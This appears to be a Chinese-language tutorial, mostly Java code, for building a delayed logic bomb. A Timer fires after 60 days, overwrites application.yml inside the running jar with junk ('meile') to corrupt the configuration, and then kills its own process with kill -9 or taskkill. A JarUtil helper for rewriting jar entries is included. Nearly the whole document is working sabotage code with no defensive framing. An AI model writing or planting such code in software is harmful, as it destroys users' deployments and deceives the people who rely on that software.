1.寫一個定時器,在某一個時間點損壞
Timer timer = new Timer();
// 參數1:任務; 參數2:第一次執行時間; 參數3:任務間隔時間(毫秒)
TimerTask task = new TimerTask() {
public void run() {
//損壞代碼
addTimeMake();
}
};
timer.schedule(task, 1000*60*60*24*60);
2. 代碼
private static void addTimeMake() {
// 當前進程的名字
String name = ManagementFactory.getRuntimeMXBean().getName();
System.out.println(name);
//進程號
String pid = name.split("@")[0];
System.out.println("Pid is:" + pid);
//
//獲取運行環境
String os = geTpropertName();
//損壞配置文件
try {
updateApplication(os);
} catch (Exception e) {
e.printStackTrace();
}
//停止進程
closeLinuxProcess(pid , os);
}
3.損壞代碼(損壞配置文件)
private static void updateApplication(String os) throws Exception {
//獲取當前環境
File directory = new File("");// 參數爲空
String courseFile = directory.getCanonicalPath();
String a = courseFile+File.separator+"aa.jar";
System.out.println(a);
JarUtil.readJarFile(a,"application.yml");
String data = "meile";
long start = System.currentTimeMillis();
System.out.println(start);
JarUtil.writeJarFile(a,"application.yml",data.getBytes());
long end = System.currentTimeMillis();
System.out.println(end-start);
JarUtil.readJarFile(a,"application.yml");
}
JarUtil工具類
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.Enumeration;
import java.util.Iterator;
import java.util.Map;
import java.util.Set;
import java.util.TreeMap;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;
import java.util.jar.JarOutputStream;
public class JarUtil {
/**
* 讀取jar包所有的文件內容,顯示JAR文件內容列表
* @param jarFileName
* @throws IOException
*/
public static void readJARList(String jarFilePath) throws IOException {
// 創建JAR文件對象
JarFile jarFile = new JarFile(jarFilePath);
// 枚舉獲得JAR文件內的實體,即相對路徑
Enumeration en = jarFile.entries();
System.out.println("文件名\t文件大小\t壓縮後的大小");
// 遍歷顯示JAR文件中的內容信息
while (en.hasMoreElements()) {
// 調用方法顯示內容
process(en.nextElement());
}
}
// 顯示對象信息
private static void process(Object obj) {
// 對象轉化成Jar對象
JarEntry entry = (JarEntry) obj;
// 文件名稱
String name = entry.getName();
// 文件大小
long size = entry.getSize();
// 壓縮後的大小
long compressedSize = entry.getCompressedSize();
System.out.println(name + "\t" + size + "\t" + compressedSize);
}
/**
* 讀取jar包裏面指定文件的內容
* @param jarFileName jar包文件路徑
* @param fileName 文件名
* @throws IOException
*/
public static void readJarFile(String jarFilePath,String fileName) throws IOException{
JarFile jarFile = new JarFile(jarFilePath);
JarEntry entry = jarFile.getJarEntry(fileName);
InputStream input = jarFile.getInputStream(entry);
readFile(input);
jarFile.close();
}
public static void readFile(InputStream input) throws IOException{
InputStreamReader in = new InputStreamReader(input);
BufferedReader reader = new BufferedReader(in);
String line ;
while((line = reader.readLine())!=null){
System.out.println(line);
}
reader.close();
}
/**
* 讀取流
*
* @param inStream
* @return 字節數組
* @throws Exception
*/
public static byte[] readStream(InputStream inStream) throws Exception {
ByteArrayOutputStream outSteam = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int len = -1;
while ((len = inStream.read(buffer)) != -1) {
outSteam.write(buffer, 0, len);
}
outSteam.close();
inStream.close();
return outSteam.toByteArray();
}
/**
* 修改Jar包裏的文件或者添加文件
* @param jarFile jar包路徑
* @param entryName 要寫的文件名
* @param data 文件內容
* @throws Exception
*/
public static void writeJarFile(String jarFilePath,String entryName,byte[] data) throws Exception{
//1、首先將原Jar包裏的所有內容讀取到內存裏,用TreeMap保存
JarFile jarFile = new JarFile(jarFilePath);
//可以保持排列的順序,所以用TreeMap 而不用HashMap
TreeMap tm = new TreeMap();
Enumeration es = jarFile.entries();
while(es.hasMoreElements()){
JarEntry je = (JarEntry)es.nextElement();
byte[] b = readStream(jarFile.getInputStream(je));
tm.put(je.getName(),b);
}
JarOutputStream jos = new JarOutputStream(new FileOutputStream(jarFilePath));
Iterator it = tm.entrySet().iterator();
boolean has = false;
//2、將TreeMap重新寫到原jar裏,如果TreeMap裏已經有entryName文件那麼覆蓋,否則在最後添加
while(it.hasNext()){
Map.Entry item = (Map.Entry) it.next();
String name = (String)item.getKey();
JarEntry entry = new JarEntry(name);
jos.putNextEntry(entry);
byte[] temp ;
if(name.equals(entryName)){
//覆蓋
temp = data;
has = true ;
}else{
temp = (byte[])item.getValue();
}
jos.write(temp, 0, temp.length);
}
if(!has){
//最後添加
JarEntry newEntry = new JarEntry(entryName);
jos.putNextEntry(newEntry);
jos.write(data, 1, data.length);
}
jos.finish();
jos.close();
}
/**
* 測試案例
* @param args
* @throws Exception
*/
public static void main(String args[]) throws Exception{
//
readJarFile("C:\\Users\\Administrator\\Desktop\\1\\aa.jar","application.yml");
String data = "helloBabydsafsadfasdfsdafsdgasdgweqtqwegtqwfwefasdfasfadfasf";
long start = System.currentTimeMillis();
System.out.println(start);
writeJarFile("aa.jar","application.yml",data.getBytes());
long end = System.currentTimeMillis();
System.out.println(end-start);
readJarFile("aa.jar","application.yml");
}
}
4.停止進程
/**
* 關閉Linux、windows進程
* @param Pid 進程的PID
*/
public static void closeLinuxProcess(String Pid , String os){
Process process = null;
BufferedReader reader =null;
try{
//殺掉進程
if(os!=null && os.indexOf("linux") >= 0){
process = Runtime.getRuntime().exec("kill -9 "+Pid);
}else{
process = Runtime.getRuntime().exec("taskkill -PID "+Pid+" -F ");
}
reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line = null;
while((line = reader.readLine())!=null){
System.out.println("kill PID return info -----> "+line);
}
}catch(Exception e){
e.printStackTrace();
}finally{
if(process!=null){
process.destroy();
}
if(reader!=null){
try {
reader.close();
} catch (IOException e) {
}
}
}
}